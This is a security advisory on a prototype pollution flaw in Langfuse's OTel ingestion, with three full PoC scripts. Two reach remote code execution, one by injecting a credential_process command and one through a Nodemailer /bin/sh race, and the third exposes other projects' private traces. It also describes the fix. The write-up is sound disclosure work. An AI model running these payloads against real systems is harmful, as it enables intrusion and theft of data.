An authenticated OTel trace with maliciously crafted attribute key can enable cross-project trace exposure and remote code execution.
AISafe Labs discovered an authenticated OpenTelemetry prototype pollution issue in Langfuse v3.167.4 that causes process-wide worker corruption. In the default single-worker deployment, it can cause cross-project private traces to be stored as public and read without authentication, and a worker-side notification race can turn the same primitive into remote code execution as the Langfuse worker user. CloudWatch metric publishing provides a second RCE trigger in deployments where it is enabled.
What is Langfuse and How it Works
Langfuse is an open-source LLM engineering platform that helps teams build, monitor, and improve their AI applications. It covers the full development lifecycle with tracing, prompt management, evaluations, and analytics dashboards.
The platform is built around four core capabilities: Observability (Log traces, Lowest level transparency, Understand cost and latency), Prompt Management (Version control and deploy, Collaborate on prompts, Test prompts and models), Evaluation (Measure output quality, Monitor production health, Test changes in development), and Analytics. The vulnerability we discovered lives entirely within the Observability pillar, so that is where we will focus.
Observability
Observability is the foundation of Langfuse. It gives engineering teams visibility into every interaction inside an LLM application: every model call, retrieval step, tool invocation, and API request. Without it, debugging non-deterministic AI behaviour is essentially guesswork.

The core top-level unit of observability in Langfuse is the trace. A trace represents a single end-to-end request through an application. Each trace contains child observations, which may be ordinary spans or more specialized steps such as LLM generations, tool calls, retriever lookups, or custom operations. Together, these observations form a tree that shows how the request was processed, how long each step took, and what data flowed through it.
1export const ObservationSchema = z.object({ 2 id: z.string(), 3 traceId: z.string().nullable(), 4 projectId: z.string(), 5 environment: z.string(), 6 type: ObservationTypeDomain, 7 startTime: z.date(), 8 endTime: z.date().nullable(), 9 name: z.string().nullable(), 10 metadata: MetadataDomain, 11 parentObservationId: z.string().nullable(), 12 level: ObservationLevelDomain, 13 statusMessage: z.string().nullable(), 14 version: z.string().nullable(), 15 createdAt: z.date(), 16 updatedAt: z.date(), 17 model: z.string().nullable(), 18 internalModelId: z.string().nullable(), 19 modelParameters: jsonSchema.nullable(), 20 input: jsonSchema.nullable(), 21 output: jsonSchema.nullable(), 22 completionStartTime: z.date().nullable(), 23 promptId: z.string().nullable(), 24 promptName: z.string().nullable(), 25 promptVersion: z.number().nullable(), 26 latency: z.number().nullable(), 27 timeToFirstToken: z.number().nullable(), 28 usageDetails: z.record(z.string(), z.number()), 29 costDetails: z.record(z.string(), z.number()), 30 providedCostDetails: z.record(z.string(), z.number()), 31 // aggregated data from cost_details 32 inputCost: z.number().nullable(), 33 outputCost: z.number().nullable(), 34 totalCost: z.number().nullable(), 35 // aggregated data from usage_details 36 inputUsage: z.number(), 37 outputUsage: z.number(), 38 totalUsage: z.number(), 39 // pricing tier information 40 usagePricingTierId: z.string().nullable(), 41 usagePricingTierName: z.string().nullable(), 42 // tool data 43 toolDefinitions: z.record(z.string(), z.string()).nullable(), 44 toolCalls: z.array(z.string()).nullable(), 45 toolCallNames: z.array(z.string()).nullable(), 46});
How Traces Are Ingested
Langfuse supports two ingestion paths:
- Native SDKs (Python / JavaScript): developers instrument their code directly using the Langfuse SDK, which sends structured trace data to the Langfuse API.
- OpenTelemetry (OTel): applications already instrumented with the OTel standard can send traces to Langfuse without any SDK dependency. This is the path relevant to our vulnerability.
When an application sends an OTel trace to Langfuse, the payload arrives at: POST /api/public/otel/v1/traces
1export default withMiddlewares({ 2 POST: createAuthedProjectAPIRoute({ 3 name: "OTel Traces", 4 querySchema: z.any(), 5 responseSchema: z.any(), 6 rateLimitResource: "ingestion", 7 fn: async ({ req, res, auth }) => { 8 // Check if ingestion is suspended due to usage threshold 9 if (auth.scope.isIngestionSuspended) { 10 throw new ForbiddenError( 11 "Ingestion suspended: Usage threshold exceeded. Please upgrade your plan.", 12 ); 13 } 14 15 // Mark project as using OTEL API 16 await markProjectAsOtelUser(auth.scope.projectId); 17 ...
Inside the Langfuse worker, the OtelIngestionProcessor is responsible for transforming this payload. OTel encodes structured data as flat, dotted attribute strings, for example, gen_ai.prompt.0.role represents the role field of the first prompt in a chat. The processor must expand these flat strings into nested JavaScript objects so Langfuse can render a proper chat history in its UI.
The vulnerability is in this dotted-key expansion step.
Vulnerability Analysis
The Vulnerable Code
When the OtelIngestionProcessor receives a span, it iterates over its flat OTel attributes and calls setNestedValue for each one, building up a nested JavaScript object from the dotted key path.
1const setNestedValue = (obj: any, path: string[], value: unknown): void => { 2 let current = obj; 3 for (let i = 0; i < path.length - 1; i++) { 4 const key = path[i]; 5 if (!(key in current)) { 6 current[key] = /^\d+$/.test(path[i + 1]) ? [] : {}; 7 } 8 current = current[key]; // traverses into the next level 9 } 10 current[path[path.length - 1]] = value; // writes the final value 11};
The function walks each segment of the dotted key path, creating nested objects along the way, then writes the value at the final segment. With legitimate input this works exactly as intended, but it makes no attempt to validate or reject any segment of the path.
Legitimate input: gen_ai.prompt.0.role = "user" is split into ["gen_ai", "prompt", "0", "role"] and produces:
1{ 2 "gen_ai": { 3 "prompt": [{ "role": "user" }] 4 } 5}
Malicious input: gen_ai.prompt.__proto__.polluted = "YES" is split into ["gen_ai", "prompt", "__proto__", "polluted"]. The function dutifully traverses obj["__proto__"] - which in JavaScript is not a regular key, but a reference to the object's prototype - and writes directly onto it.
This gives an attacker a write-anything-anywhere primitive on the JavaScript prototype chain using nothing more than a crafted OTel attribute key in a trace payload.
What is Prototype Pollution?
In JavaScript, every object implicitly inherits from Object.prototype. Any property set on that shared prototype immediately appears on every object in the process that does not define that property itself. This behaviour is by design, it is how inheritance works, but it turns into a critical vulnerability when attacker-controlled input reaches code that writes to it.
Example:
1// Normal: each object has its own properties 2const a = {}; 3const b = {}; 4console.log(a.admin); // undefined 5 6// After prototype pollution: 7Object.prototype.admin = true; 8console.log(a.admin); // true ← a never defined this 9console.log(b.admin); // true ← neither did b 10console.log({}.admin); // true ← any new object too
In this case the pollution will persists for the lifetime of the process. Every piece of code that later checks for a property on any object, even an empty one, will see the injected value if it does not have its own definition of that property.
In the Langfuse worker this means a single authenticated OTel request poisons the entire process. Later ingestion jobs in that worker read from the polluted prototype until the process restarts.
Case Study 1: Remote Code Execution via CloudWatch
The most severe impact occurs in deployments where CloudWatch metric publishing is enabled (ENABLE_AWS_CLOUDWATCH_METRIC_PUBLISHING=true).
The Chain
The attacker begins with an authenticated HTTP request to POST /api/public/otel/v1/traces using credentials for any valid Langfuse project on the target instance. The payload is a well-formed OTel trace with crafted span attributes such as gen_ai.prompt.__proto__.profile = "pwn" and gen_ai.prompt.__proto__.pwn.credential_process = "<command>". When the worker processes this span, Langfuse's dotted-key expansion logic traverses through __proto__ and writes attacker-controlled properties onto Object.prototype for the lifetime of that worker process.
Code execution is not immediate. In deployments where ENABLE_AWS_CLOUDWATCH_METRIC_PUBLISHING=true is enabled, Langfuse periodically flushes metrics through the AWS SDK CloudWatch client. During default credential resolution, the SDK can consume the inherited profile value and resolve the inherited profile object containing credential_process. It then executes the attacker-controlled command as a subprocess and parses its stdout as credential JSON.
The result is command execution as the Langfuse worker OS user. In testing, the command wrote a marker file and id output inside the worker container; CloudWatch then rejected the fake credentials with an invalid token error. This chain requires a valid project ingestion API key, a CloudWatch-enabled worker, and execution of the trigger path in the same live worker process.
PoC
The following script pollutes the worker and triggers a command that writes the worker's id to a local file.
1#!/usr/bin/env bash 2set -euo pipefail 3 4BASE_URL="${BASE_URL:-http://localhost:3000}" 5PUBLIC_KEY="${PUBLIC_KEY:-pk-lf-crossproj-a-1111}" 6SECRET_KEY="${SECRET_KEY:-sk-lf-crossproj-a-1111}" 7OUT="/tmp/langfuse_cw_rce_clean_payload.json" 8 9python3 - "$OUT" <<'PY' 10import json 11import sys 12import time 13 14out = sys.argv[1] 15now = int(time.time() * 1_000_000_000) 16cmd = ( 17 "sh -c 'id > /tmp/langfuse_poc_new; " 18 "touch /tmp/langfuse_poc_new_marker; " 19 "printf \"{\\\"Version\\\":1," 20 "\\\"AccessKeyId\\\":\\\"AKIAFAKEKEY123456\\\"," 21 "\\\"SecretAccessKey\\\":\\\"FAKESECRETKEY1234567890\\\"}\"'" 22) 23 24payload = { 25 "resourceSpans": [ 26 { 27 "resource": {"attributes": []}, 28 "scopeSpans": [ 29 { 30 "scope": { 31 "name": "evil-scope", 32 "version": "1.0.0", 33 "attributes": [], 34 }, 35 "spans": [ 36 { 37 "traceId": "71717171717171717171717171717171", 38 "spanId": "8282828282828282", 39 "name": "cloudwatch-rce-clean-full-http", 40 "kind": 1, 41 "startTimeUnixNano": now, 42 "endTimeUnixNano": now + 1_000_000, 43 "attributes": [ 44 { 45 "key": "gen_ai.prompt.__proto__.profile", 46 "value": {"stringValue": "pwn"}, 47 }, 48 { 49 "key": "gen_ai.prompt.__proto__.pwn.credential_process", 50 "value": {"stringValue": cmd}, 51 }, 52 { 53 "key": "other.attr", 54 "value": {"stringValue": "hello"}, 55 }, 56 ], 57 "events": [], 58 } 59 ], 60 } 61 ], 62 } 63 ] 64} 65 66with open(out, "w", encoding="utf-8") as f: 67 json.dump(payload, f) 68 69print(out) 70PY 71 72echo "[1] Poison worker via authenticated OTel for CloudWatch RCE" 73curl -sS -w '\nHTTP %{http_code}\n' \ 74 -u "${PUBLIC_KEY}:${SECRET_KEY}" \ 75 -H 'Content-Type: application/json' \ 76 --data-binary "@${OUT}" \ 77 "${BASE_URL}/api/public/otel/v1/traces" 78 79# CloudWatch flush happens every 30 seconds by default 80echo "[2] Wait for the worker to process the poison job and trigger CloudWatch flush" 81sleep 40 82 83echo "[3] Verify inside the worker container" 84docker exec langfuse-cw-worker sh -lc 'ls -l /tmp/langfuse_poc_new_marker /tmp/langfuse_poc_new; cat /tmp/langfuse_poc_new'
Case Study 2: Cross-Project Trace Exposure
This chain requires no optional integrations and works against default single-worker Langfuse deployments. It uses the prototype pollution primitive to break multi-tenant isolation between projects sharing a worker process.
The Chain
The attacker starts with an authenticated OTel request carrying a crafted attribute such as gen_ai.prompt.__proto__.public = true. When Langfuse's dotted-key expansion logic processes this key, it traverses through __proto__ and writes public = true onto Object.prototype for the lifetime of the worker process. The request can still be accepted at the HTTP layer, while the worker remains in a polluted state for later jobs.
The sink is in the ingestion path that maps trace-create events into stored trace records. In the vulnerable flow, Langfuse resolves trace visibility using logic equivalent to public: trace.body.public ?? false. The intended behavior is straightforward: if the caller explicitly sets public: true, preserve it; otherwise default to false and keep the trace private. That assumption fails once the worker's global prototype has been polluted.
After pollution, a victim in a separate project can send a normal private trace with no own public field in the payload. The worker builds a plain JavaScript object for that trace body, and property access on trace.body.public walks the prototype chain. Instead of undefined, it resolves to the inherited value true from Object.prototype. Because ?? only falls back on null or undefined, the default false is never applied. The victim trace is then stored as public.
Once Langfuse stores a victim trace with public = true, the unauthenticated public trace read path returns it. In the default deployment test, one project's ingestion API key exposed another project's private trace data. In a shared or multi-tenant deployment, any later victim trace processed by the same polluted worker process and lacking an own public field may be exposed this way until the worker is restarted or replaced.
PoC
1#!/usr/bin/env bash 2set -euo pipefail 3 4BASE_URL="${BASE_URL:-http://localhost:3000}" 5ATTACKER_PUBLIC_KEY="${ATTACKER_PUBLIC_KEY:-pk-lf-crossproj-a-1111}" 6ATTACKER_SECRET_KEY="${ATTACKER_SECRET_KEY:-sk-lf-crossproj-a-1111}" 7VICTIM_PUBLIC_KEY="${VICTIM_PUBLIC_KEY:-pk-lf-crossproj-b-2222}" 8VICTIM_SECRET_KEY="${VICTIM_SECRET_KEY:-sk-lf-crossproj-b-2222}" 9VICTIM_PROJECT_ID="${VICTIM_PROJECT_ID:-88888888-8888-8888-8888-888888888888}" 10 11POISON_PAYLOAD="/tmp/langfuse_public_poison_payload.json" 12VICTIM_PAYLOAD="/tmp/langfuse_public_victim_ingestion.json" 13TRACE_ID=$(uuidgen) 14 15python3 - "$POISON_PAYLOAD" "$VICTIM_PAYLOAD" "$TRACE_ID" <<'PY' 16import json 17import sys 18import time 19import uuid 20 21poison_out, victim_out, trace_id = sys.argv[1:4] 22now = int(time.time() * 1_000_000_000) 23 24poison = { 25 "resourceSpans": [ 26 { 27 "resource": {"attributes": []}, 28 "scopeSpans": [ 29 { 30 "scope": { 31 "name": "evil-scope", 32 "version": "1.0.0", 33 "attributes": [], 34 }, 35 "spans": [ 36 { 37 "traceId": "c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3", 38 "spanId": "c3c3c3c3c3c3c3c3", 39 "name": "poison-public-proto", 40 "kind": 1, 41 "startTimeUnixNano": now, 42 "endTimeUnixNano": now + 1_000_000, 43 "attributes": [ 44 { 45 "key": "gen_ai.prompt.__proto__.public", 46 "value": {"boolValue": True}, 47 }, 48 { 49 "key": "other.attr", 50 "value": {"stringValue": "poison"}, 51 }, 52 ], 53 "events": [], 54 } 55 ], 56 } 57 ], 58 } 59 ] 60} 61 62victim = { 63 "batch": [ 64 { 65 "id": str(uuid.uuid4()), 66 "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S.000Z", time.gmtime()), 67 "type": "trace-create", 68 "body": { 69 "id": trace_id, 70 "name": "victim-private-regular-ingestion", 71 "metadata": {"secret": "victim-data-no-public-field"}, 72 }, 73 } 74 ] 75} 76 77with open(poison_out, "w", encoding="utf-8") as f: 78 json.dump(poison, f) 79 80with open(victim_out, "w", encoding="utf-8") as f: 81 json.dump(victim, f) 82PY 83 84echo "[1] Poison worker Object.prototype.public via authenticated OTel" 85curl -sS -w '\nHTTP %{http_code}\n' \ 86 -u "${ATTACKER_PUBLIC_KEY}:${ATTACKER_SECRET_KEY}" \ 87 -H 'Content-Type: application/json' \ 88 --data-binary "@${POISON_PAYLOAD}" \ 89 "${BASE_URL}/api/public/otel/v1/traces" 90 91echo "[2] Wait for the worker to process the poison job" 92sleep "${POISON_WAIT_SECONDS:-6}" 93 94echo "[3] Victim sends a normal private trace with no public field" 95curl -sS -w '\nHTTP %{http_code}\n' \ 96 -u "${VICTIM_PUBLIC_KEY}:${VICTIM_SECRET_KEY}" \ 97 -H 'Content-Type: application/json' \ 98 --data-binary "@${VICTIM_PAYLOAD}" \ 99 "${BASE_URL}/api/public/ingestion" 100 101echo "[4] Wait for ingestion worker write" 102sleep "${INGESTION_WAIT_SECONDS:-10}" 103 104INPUT=$(python3 - "$VICTIM_PROJECT_ID" "$TRACE_ID" <<'PY' 105import json 106import sys 107import urllib.parse 108 109project_id, trace_id = sys.argv[1:3] 110print(urllib.parse.quote(json.dumps({"json": {"projectId": project_id, "traceId": trace_id}}))) 111PY 112) 113 114# Expected after pollution: HTTP 200 and public=true 115echo "[5] Unauthenticated trace read" 116curl -sS -i "${BASE_URL}/api/trpc/traces.byId?input=${INPUT}" | head -n 30
Case Study 3: Remote Code Execution via a Notification Worker Race
The first Nodemailer result was only a helper-level gadget: if Langfuse reached an email helper after Object.prototype.EMAIL_FROM_ADDRESS and Object.prototype.SMTP_CONNECTION_URL had already been polluted, Nodemailer could be pushed into its sendmail transport and spawn /bin/sh. That is not enough for a real Langfuse exploit. In practice, polluting first causes unrelated Prisma and Zod work in the notification path to trip over the new enumerable inherited properties before the code reaches sendCommentMentionEmail().
The working chain is a race inside the actual Langfuse worker process. The attacker starts many comment-mention notification jobs over HTTP, then sends the authenticated OTel poison request while those jobs are already past the Prisma reads and awaiting the observation lookup. One notification resumes after the worker has been polluted, reads the inherited email settings, and reaches Nodemailer in the same process.
The Chain
- A logged-in project member creates many
comments.createrequests that mention a user on anOBSERVATION. This enqueuesNotificationJobitems through the normal HTTP API. - Those notification jobs run in the Langfuse worker. For observation comments,
handleCommentMentionNotification()builds the comment link and awaits ClickHouse viagetObservationById(). - While those jobs are paused on that await, the attacker sends
POST /api/public/otel/v1/traceswith OTel attributes that set:gen_ai.prompt.__proto__.EMAIL_FROM_ADDRESS = "[email protected]"gen_ai.prompt.__proto__.SMTP_CONNECTION_URL = "smtp://localhost?sendmail=true&path=/bin/sh&args=-c&args=..."
- The OTel ingestion job pollutes
Object.prototypein the same worker process. - A pending notification job resumes, reaches
sendCommentMentionEmail(), and reads the inherited email configuration from Langfuse's parsedenvobject. parseConnectionUrl()converts the SMTP URL query string into own Nodemailer transport options:sendmail=true,path=/bin/sh, and repeatedargsvalues.sendMail()then spawns the command as the Langfuse worker user.
The timing matters. The notification job has to cross the database-heavy part of the handler before pollution lands; otherwise the inherited keys can break Prisma/Zod validation before the email sink is reachable.
PoC
This PoC uses only Langfuse's HTTP surfaces for the trigger: authenticated web session requests enqueue the comment notifications, and the public OTel ingestion endpoint delivers the prototype pollution payload.
1#!/usr/bin/env bash 2set -euo pipefail 3 4BASE_URL="${BASE_URL:-http://localhost:3000}" 5EMAIL="${EMAIL:-[email protected]}" 6PASSWORD="${PASSWORD:?set PASSWORD}" 7PUBLIC_KEY="${PUBLIC_KEY:-pk-lf-...}" 8SECRET_KEY="${SECRET_KEY:-sk-lf-...}" 9PROJECT_ID="${PROJECT_ID:-project-proto-poc}" 10USER_ID="${USER_ID:-cmobeoxpb0002o707eekhejsi}" 11OBSERVATION_ID="${OBSERVATION_ID:-2222222222222222}" 12COUNT="${COUNT:-80}" 13DELAY_MS="${DELAY_MS:-0}" 14MARKER="${MARKER:-/tmp/langfuse_nodemailer_full_http_race_marker}" 15 16COOKIE_JAR="$(mktemp)" 17CSRF_JSON="$(mktemp)" 18POISON_PAYLOAD="$(mktemp)" 19BODY_DIR="$(mktemp -d)" 20 21cleanup() { 22 rm -f "$COOKIE_JAR" "$CSRF_JSON" "$POISON_PAYLOAD" 23 rm -rf "$BODY_DIR" 24} 25trap cleanup EXIT 26 27python3 - "$POISON_PAYLOAD" "$MARKER" <<'PY' 28import json 29import sys 30import time 31import urllib.parse 32 33out, marker = sys.argv[1:3] 34now = int(time.time() * 1_000_000_000) 35cmd = f"id > {marker}.id; touch {marker}; exit 0" 36smtp_url = ( 37 "smtp://localhost?sendmail=true&path=/bin/sh&args=-c&args=" 38 + urllib.parse.quote(cmd) 39) 40 41payload = { 42 "resourceSpans": [ 43 { 44 "resource": {"attributes": []}, 45 "scopeSpans": [ 46 { 47 "scope": { 48 "name": "full-http-race", 49 "version": "1", 50 "attributes": [], 51 }, 52 "spans": [ 53 { 54 "traceId": "b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9", 55 "spanId": "b9b9b9b9b9b9b9b9", 56 "name": "poison-email-env-full-http-race", 57 "kind": 1, 58 "startTimeUnixNano": now, 59 "endTimeUnixNano": now + 1_000_000, 60 "attributes": [ 61 { 62 "key": "gen_ai.prompt.__proto__.EMAIL_FROM_ADDRESS", 63 "value": {"stringValue": "[email protected]"}, 64 }, 65 { 66 "key": "gen_ai.prompt.__proto__.SMTP_CONNECTION_URL", 67 "value": {"stringValue": smtp_url}, 68 }, 69 ], 70 "events": [], 71 } 72 ], 73 } 74 ], 75 } 76 ] 77} 78 79with open(out, "w", encoding="utf-8") as f: 80 json.dump(payload, f) 81PY 82 83curl -sS -c "$COOKIE_JAR" "$BASE_URL/api/auth/csrf" >"$CSRF_JSON" 84CSRF_TOKEN="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["csrfToken"])' "$CSRF_JSON")" 85 86curl -sS -b "$COOKIE_JAR" -c "$COOKIE_JAR" \ 87 -X POST "$BASE_URL/api/auth/callback/credentials" \ 88 -H "Content-Type: application/x-www-form-urlencoded" \ 89 --data-urlencode "csrfToken=$CSRF_TOKEN" \ 90 --data-urlencode "email=$EMAIL" \ 91 --data-urlencode "password=$PASSWORD" \ 92 --data-urlencode "json=true" >/dev/null 93 94echo "[1] Start many HTTP comment-create requests to enqueue notification jobs" 95for i in $(seq 0 $((COUNT - 1))); do 96 body="$BODY_DIR/comment-$i.json" 97 python3 - "$body" "$PROJECT_ID" "$USER_ID" "$OBSERVATION_ID" <<'PY' 98import json 99import sys 100 101out, project_id, user_id, observation_id = sys.argv[1:5] 102body = { 103 "0": { 104 "json": { 105 "projectId": project_id, 106 "content": f"hello @[POC User](user:{user_id})", 107 "objectId": observation_id, 108 "objectType": "OBSERVATION", 109 } 110 } 111} 112with open(out, "w", encoding="utf-8") as f: 113 json.dump(body, f) 114PY 115 curl -sS -b "$COOKIE_JAR" \ 116 -H "Content-Type: application/json" \ 117 -X POST "$BASE_URL/api/trpc/comments.create?batch=1" \ 118 --data-binary "@$body" >/dev/null & 119done 120 121python3 - "$DELAY_MS" <<'PY' 122import sys 123import time 124 125time.sleep(int(sys.argv[1]) / 1000) 126PY 127 128echo "[2] Send authenticated OTel prototype pollution payload over HTTP" 129curl -sS -w '\nHTTP %{http_code}\n' \ 130 -u "$PUBLIC_KEY:$SECRET_KEY" \ 131 -H "Content-Type: application/json" \ 132 --data-binary "@$POISON_PAYLOAD" \ 133 "$BASE_URL/api/public/otel/v1/traces" 134 135wait || true 136 137cat <<EOF 138 139[3] Check the worker container for: 140 $MARKER 141 $MARKER.id 142 143The marker id file should contain the uid of the Langfuse worker process. 144EOF
In the validated run, the marker showed execution as the Langfuse worker container user:
1uid=1001(expressjs) gid=65533(nogroup)
The fix implemented in Langfuse addresses the vulnerability at three levels (see PR #13201):

- Segment Blocklist: Any path segment containing
__proto__,constructor, orprototypeis strictly rejected during expansion. - Strict Own-Property Checks: The traversal logic now uses
Object.prototype.hasOwnProperty.call(current, key)to ensure it never interacts with inherited properties. - Prototype Hardening: While the primary fix is key filtering, downstream sinks are being audited to use null-prototype objects (
Object.create(null)) for attacker-influenced data.
Fixed Code Pattern
1const key = path[i]; 2if (key === "__proto__" || key === "prototype" || key === "constructor") { 3 return; // Stop expansion 4} 5if (!Object.prototype.hasOwnProperty.call(current, key)) { 6 current[key] = {}; 7}
Disclosure Timeline
- April 10, 2026: Vulnerability discovered and researched.
- April 10, 2026: RCE and Cross-Project Exposure chains confirmed with PoCs.
- April 11, 2026: Technical report and remediation strategy provided to Langfuse.
- April 16, 2026: Fix verified and environment restored.
Users are advised to upgrade to v3.168.0 or later immediately to protect against these vectors.
About AISafe Labs
We are a security startup building affordable, automated security for web applications.
If you want this kind of coverage for your own codebase, try AISafe.